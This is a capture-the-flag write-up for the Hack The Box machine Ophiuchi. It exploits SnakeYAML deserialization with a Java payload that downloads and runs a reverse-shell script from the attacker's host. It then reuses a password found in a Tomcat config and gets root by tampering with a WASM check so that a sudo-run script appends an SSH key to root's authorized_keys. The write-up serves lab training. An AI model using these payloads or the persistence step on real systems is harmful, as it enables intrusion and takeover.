Hack The Box Write-Up Ophiuchi - 10.10.10.227
Two possibilities exist: either we are alone in the Universe or we are not. Both are equally terrifying.
Arthur C. Clarke
About Ophiuchi
In this post, I’m writing a write-up for the machine Ophiuchi from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Ophiuchi is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15 and submitting the root flag you points will be raised by 30.
Foothold
The port scan discovers two open ports. The first port is the default SSH port 22/tcp
and the second port is 8080/tcp
. On checking the website on port 8080/tcp
, we ended up on an online Yaml parser service. After some investigation on the website, we can discover a Yaml deserialization vulnerability. Through the exploitation of this vulnerability, we can gain a reverse shell as the user account tomcat
.
User
Through the reverse shell as the user tomcat
, we have found a second user account on this machine with the name admin
. After doing some enumeration on the machine we can find the password of the user account admin
in the configuration files of tomcat
, and we are able to do a lateral movement to this user account. The user account admin
has the privileges to establish an SSH session and through an SSH session, we can read the user flag.
Root
The user account admin
has the privileges to run /opt/wasm-functions/index.go
with root privileges. Based on the output of the WebAssembly file main.wasm
, an if statement in index.go
determines whether the bash script deploy.sh
is executed or not. By decompiling main.wasm
and making sure the output of this script is 1
and no longer 0
, the if statement in the index.go
file is fulfilled and deploy.sh
is executed with root permissions. We can add a payload to deploy.sh
to write the public key to the root user account. As the index.go
is not defining the location of the files deploy.sh
and main.wasm
, we can place these files in the /tmp
directory with the modified content and execute the index.go
from this location, so that deploy.sh
with the payload will be executed as root. After the exploitation of the index.go
file we can create an SSH session as root and read the root flag.
Machine Info
Machine Name: | Ophiuchi |
Difficulty: | Medium |
Points: | 30 |
Release Date: | 13 Feb 2021 |
IP: | 10.10.10.227 |
Creator: | felamos |
Recon
Port scan with Nmap
We start this machine with a port scan with Nmap.
1
~$ nmap -sC -sV -oA ./nmap/10.10.10.227 10.10.10.227
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-02 16:32 EST
Nmap scan report for 10.10.10.227
Host is up (0.046s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds
According to the results of the port scan, we can discover two open ports. The first port is the default SSH port on 22/tcp
. The second open port is 8080/tcp
, behind this port is an Apache Tomcat 9.0.38
running. The banner shows the HTTP title Parse YAML
.
Enumeration
Enumeration Web Server
Let’s start with the enumeration of the webserver. We can visit the web service by visiting the URL http://10.10.10.227:8080
. We got redirected to an online YAML parser.
The Need support?
is not functioning. If we are filling in a random string in the text field we receive the message: Due to security reason this feature has been temporarily on hold. We will soon fix the issue!
Obviously, there is something wrong with this web service. If we are putting a single quote in the field, we encounter an error message.
If we are observing this error message, we can notice that SnakeYaml is being used. After searching on the internet, we can find a SnakeYaml Deserialization vulnerability.
Exploitation
SnakeYaml Deserialization
We can use this blog article from Swapneil Kumar Dash to test if we can abuse this deserialization vulnerability. For that purpose, we can use the code below.
1
2
3
4
5
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.15"]
]]
]
The payload is working, we have an incoming connection. We have now confirmed that this SnakeYaml is vulnerable to Remote Code Execution (RCE). As we can see below, SnakeYAML tries to access the endpoint /META-INF/services/javax.script.ScriptEngineFactory
and since it’s not available, our server responds with an HTTP 404 error.
1
2
3
4
~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.227 - - [20/Mar/2021 16:14:08] code 404, message File not found
10.10.10.227 - - [20/Mar/2021 16:14:08] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -
The article uses this payload: https://github.com/artsploit/yaml-payload, so we can clone this repository to our working directory.
1
2
3
4
5
~$ git clone https://github.com/artsploit/yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Unpacking objects: 100% (10/10), 1.34 KiB | 196.00 KiB/s, done.
Let’s modify the payload and make in a two way approach. The first command downloads the reverse shell payload, and the second command starts the reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl 10.10.16.144/revshell.sh -o /tmp/revshell.sh");
Runtime.getRuntime().exec("bash /tmp/revshell.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String... statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
Then, we need to compile the file according to the instructions from the GitHub repository.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ javac src/artsploit/AwesomeScriptEngineFactory.java
~$ jar -cvf yaml-payload.jar -C src/ .
added manifest
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1573) (out= 413)(deflated 73%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1676) (out= 703)(deflated 58%)
adding: revshell.sh(in = 55) (out= 50)(deflated 9%)
Last thing to do is, use this payload the execute the yaml-payload.jar for command execution on the machine.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.16.144/yaml-payload.jar"]
]]
]
The exploit is working! Payload is downloaded and executed.
1
2
3
4
5
~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.227 - - [22/Mar/2021 16:08:57] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.10.10.227 - - [22/Mar/2021 16:08:58] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.10.10.227 - - [22/Mar/2021 16:08:58] "GET /revshell.sh HTTP/1.1" 200 -
We got a reverse shell! We have a shell as the user account tomcat
.
1
2
3
4
5
tomcat@ophiuchi:/$ hostname; whoami; id
hostname; whoami; id
ophiuchi
tomcat
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Lateral Movement
Shell from tomcat to admin
As we are moving through the machine we can find a second user account admin
. We need to lateral move to this user account, because the user flag is on his home directory, and we do not have access to it from our current account. Let’s download first download linpeas.sh
to this machine and let it run. But it’s not finding something useful, that only that /opt/tomcat
is existing. Let’s do a recursive grep
in the /opt
folder on the string admin
and let’s see if we get something.
1
2
3
tomcat@ophiuchi:/opt$ grep -v "admin" .
...
./tomcat/conf/tomcat-users.xml: <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui" />
The grep output shows the password whythereisalimit
. This password comes from the tomact-users.xml
configuration file. Let’s try to get a SSH session as the user account admin
. We can directly read the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
~$ ssh [email protected]
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 22 Mar 2021 09:14:57 PM UTC
System load: 0.01
Usage of /: 19.9% of 27.43GB
Memory usage: 17%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:731e
176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
admin@ophiuchi:~$ cat user.txt
93f48e2102c9799e7c4085335e1ee455
Privilege Escalation
Enumeration
Let’s first check the privileges of this user account admin
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
admin@ophiuchi:/$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
This user account has the permissions to run index.go with root privileges. Let’s check the contents of this file.
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close() init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
This script is loading main.wasm
, then it defines the variable f
and this variable needs to be 1
, if it is, it will run the script deploy.sh
. If we check the contents of that file, we get this.
1
2
3
4
5
6
7
!/bin/bash
ToDo
Create script to automatic deploy our new web at tomcat port 8080
What is a WebAssembly file
Before we can exploit index.go
, we need to know what this script is doing. This script is calling the file main.wasm
. This file is a WebAssembly file. This is an open standard and is a new type of binary code that can be run in modern web browsers. It is a low-level assembly programming language, with a compact binary format. With the program wabt
, we can decompile and compile this file.
We do not have the permissions to edit the files on the /opt/wasm-functions
directory. So, we copy everything from this directory to the /tmp
directory.
1
admin@ophiuchi:/$ cp -r /opt/wasm-functions/* /tmp/
We can download the file main.wasm
to our local system by running an HTTP web server on the tartget machine.
Let’s modify deploy.sh to a new payload which is writing our public key into the authorized_keys
of the root user. Then we need to install wabt
on our local system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
~$ sudo apt-get install wabt
Reading package lists… Done
Building dependency tree… Done
Reading state information… Done
The following NEW packages will be installed:
wabt
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 1,155 kB of archives.
After this operation, 12.0 MB of additional disk space will be used.
Get:1 https://mirror.neostrada.nl/kali kali-rolling/main amd64 wabt amd64 1.0.20-1 [1,155 kB]
Fetched 1,155 kB in 4s (326 kB/s)
Selecting previously unselected package wabt.
(Reading database … 362367 files and directories currently installed.)
Preparing to unpack …/wabt_1.0.20-1_amd64.deb …
Unpacking wabt (1.0.20-1) …
Setting up wabt (1.0.20-1) …
Processing triggers for man-db (2.9.4-1) …
Processing triggers for kali-menu (2021.1.4) …
After the installation we have the commands wasm2wat
and wat2wasm
at our disposal. Let’s first decompile this program into a human-readable format.
1
wasm2wat main.wasm --no-debug-names --output main.wasm.wat
We can now edit the wasm.wat
file and we change i32.const 0)
to i32.const 1)
, so that the output will match the if statement in the file index.go
. After the modification, this file has the contents:
1
2
3
4
5
6
7
8
9
10
11
12
13
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 1)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
We now need to compile the main.wat
back to main.wasm
.
1
~$ wat2wasm main.wasm.txt --output main.wasm
After downloading the file main.wasm
to the target machine, we can replace the original main.wasm
we have placed in the /tmp
directory with our modified one. Secondly, we need to replace the contents of deploy.sh
with a new payload which is writing our public key into the /root/ssh/authorized_keys
file. We can use the key format ed22519
because the key is short in length and much easier to use.
1
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKrghtFbebWyGercBv+NfAFL31qGsom13zJXJ5AYrV5c root@kali' >> /root/.ssh/authorized_keys
Everything is now in place: we have the modified main.wasm
and the modified deploy.sh
in the /tmp
directory. From this directory we can call the index.go with root privileges. The index.go
will execute our modified files and if the output is equal to Ready to deploy, the public key will be written to the authorized_keys
of the user account root.
1
2
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
The key is now written to the authorized_keys
of the root user. Let’s try to create an SSH session as root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
~$ root@kali:/home/kali/htb/machines/ophiuchi# sudo ssh [email protected] -i id_ed25519
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 23 Mar 2021 09:59:19 AM UTC
System load: 0.0
Usage of /: 20.0% of 27.43GB
Memory usage: 9%
Swap usage: 0%
Processes: 219
Users logged in: 1
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:6448
176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Feb 5 17:51:32 2021
We have an SSH session as root, we can now read the root flag.
root@ophiuchi:~# cat root.txt
0baf40495784ae34f3623ec8c7fd63d8
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)